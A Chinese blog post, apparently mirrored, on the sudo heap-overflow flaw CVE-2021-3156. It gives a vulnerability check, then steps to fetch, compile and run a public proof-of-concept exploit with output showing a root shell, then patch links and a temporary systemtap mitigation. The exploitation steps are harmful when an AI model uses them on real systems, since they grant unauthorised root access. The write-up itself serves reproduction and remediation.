zoukankan      html  css  js  c++  java
  • 【CVE-2021-3156】linux sudo提权漏洞复现及修复

    1.背景

    sudo被披露存在一个基于堆的缓冲区溢出漏洞(CVE-2021-3156,该漏洞被命名为“Baron Samedit”),可导致本地权限提升。

    当在类Unix的操作系统上执行命令时,非root用户可以使用sudo命令来以root用户身份执行命令。由于sudo错误地在参数中转义了反斜杠导致堆缓冲区溢出,从而允许任何本地用户(无论是否在sudoers文件中)获得root权限,无需进行身份验证,且攻击者不需要知道用户密码。

    安全研究人员于1月26日公开披露了此漏洞,并表示该漏洞已经隐藏了近十年。

    2.检测

    影响版本

    • Sudo 1.8.2 - 1.8.31p2
    • Sudo 1.9.0 - 1.9.5p1

    查看版本

     

     测试漏洞是否存在:

    在普通用户权限上,输入:sudoedit -s /

    • 如果显示sudoedit: /: not a regular file,则表示该漏洞存在
    • 若返回以“ usage:”开头的错误,则不受影响

     表示此系统存在该漏洞。

    3.利用

    以Ubuntu为例:poc下载;

    test@kali:~$ git clone https://github.com/blasty/CVE-2021-3156.git
    Cloning into 'CVE-2021-3156'...
    remote: Enumerating objects: 50, done.
    remote: Counting objects: 100% (50/50), done.
    remote: Compressing objects: 100% (35/35), done.
    remote: Total 50 (delta 25), reused 38 (delta 15), pack-reused 0
    Unpacking objects: 100% (50/50), done.
    test@kali:~$ cd CVE-2021-3156/
    test@kali:~/CVE-2021-3156$ ls
    brute.sh  hax.c  lib.c  Makefile  README.md
    test@kali:~/CVE-2021-3156$ make
    rm -rf libnss_X
    mkdir libnss_X
    gcc -std=c99 -o sudo-hax-me-a-sandwich hax.c
    gcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_ .so.2' lib.c
    test@kali:~/CVE-2021-3156$ ls
    brute.sh  hax.c  lib.c  libnss_X  Makefile  README.md  sudo-hax-me-a-sandwich
    test@kali:~/CVE-2021-3156$ ./sudo-hax-me-a-sandwich 0
    
    ** CVE-2021-3156 PoC by blasty <peter@haxx.in>
    
    using target: Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27 ['/usr/bin/sudoedit'] (56, 54, 63, 212)
    ** pray for your rootshell.. **
    [+] bl1ng bl1ng! We got it!
    # id
    uid=0(root) gid=0(root) groups=0(root),1001(test)
    # whoami
    root
    # 
    View Code

    4.漏洞修复

    永久修复(推荐):

    官网:https://www.sudo.ws/download.html

    1.3 下载各系统安装包
    
    centos 5 https://github.com/sudo-project/sudo/releases/download/SUDO_1_9_5p2/sudo-1.9.5-3.el5.x86_64.rpm
    centos 6 https://github.com/sudo-project/sudo/releases/download/SUDO_1_9_5p2/sudo-1.9.5-3.el6.x86_64.rpm
    centos 7 https://github.com/sudo-project/sudo/releases/download/SUDO_1_9_5p2/sudo-1.9.5-3.el7.x86_64.rpm
    ubuntu 16.04 https://github.com/sudo-project/sudo/releases/download/SUDO_1_9_5p2/sudo_1.9.5-3_ubu1604_amd64.deb
    ubuntu 18.04 https://github.com/sudo-project/sudo/releases/download/SUDO_1_9_5p2/sudo-ldap_1.9.5-3_ubu1804_amd64.deb
    ubuntu 20.04 https://github.com/sudo-project/sudo/releases/download/SUDO_1_9_5p2/sudo_1.9.5-3_ubu2004_amd64.deb
    View 各系统下载链接
    #以centos7为例
    rpm -Uvh sudo-1.9.5-3.el7.x86_64.rpm

    或者用源码进行编译安装:

    https://www.sudo.ws/dist/sudo-1.9.5p2.tar.gz,下载最新版本sudo软件tar包,并解压。

    tar zxvf sudo-1.9.5p2.tar.gz

    进入解压目录,执行编译命令

    ./configure --prefix=/usr --libexecdir=/usr/lib --with-secure-path --with-all-insults --with-env-editor --docdir=/usr/share/doc/sudo-1.9.5p2 --with-passprompt="[sudo] password for %p: " && make && make install && ln -sfv libsudo_util.so.0.0.0 /usr/lib/sudo/libsudo_util.so.0
     

     

    临时措施(RedHat):

    1.安装所需的systemtap软件包和依赖项:

    systemtap yum-utils kernel-devel-“ $(uname -r)”
    
    RHEL 7安装kernel debuginfo:debuginfo-install -y kernel-“ $(uname -r)”
    
    RHEL 8安装sudo debuginfo:debuginfo-install sudo
    

    2.创建以下systemtap脚本:(将文件命名为sudoedit-block.stap)

    probe process("/usr/bin/sudo").function("main") {
    
            command = cmdline_args(0,0,"");
    
            if (strpos(command, "edit") >= 0) {
    
                    raise(9);
    
            }
    
    } 

    3.使用以下命令安装脚本:(使用root)

    #nohup stap -g sudoedit-block.stap&

    这将输出systemtap脚本的PID编号,该脚本将导致易受攻击的sudoedit二进制文件停止工作,sudo命令仍将照常工作。

    注意,上述更改会在重启后失效,必须在每次重启后重新应用。

    4.一旦安装了补丁程序,就可以通过终止systemtap进程来删除systemtap脚本。例如,通过使用以下命令,其中7590是systemtap进程的PID。

    #kill -s SIGTERM 7590

     

     -----------------------

    漏洞利用技术细节:

    https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit

    关于sudoers:http://www.mamicode.com/info-detail-2376629.html

    cve-2021-3156-sudo堆溢出简单分析

    为美好的生活奋斗!
  • 相关阅读:
    实用C语言技巧
    ASP.NET的适配器设计模式(Adapter)
    MongoDB的管理
    WinForm实现类似QQ停靠,显示隐藏过程添加特效效果
    dreamhappy博客索引
    Namenode的介绍
    asp.net
    学习
    采用Mono进行移动开发图书推荐
    VS2010+C#写的3D
  • 原文地址:https://www.cnblogs.com/ethtool/p/14362152.html
Copyright © 2011-2022 走看看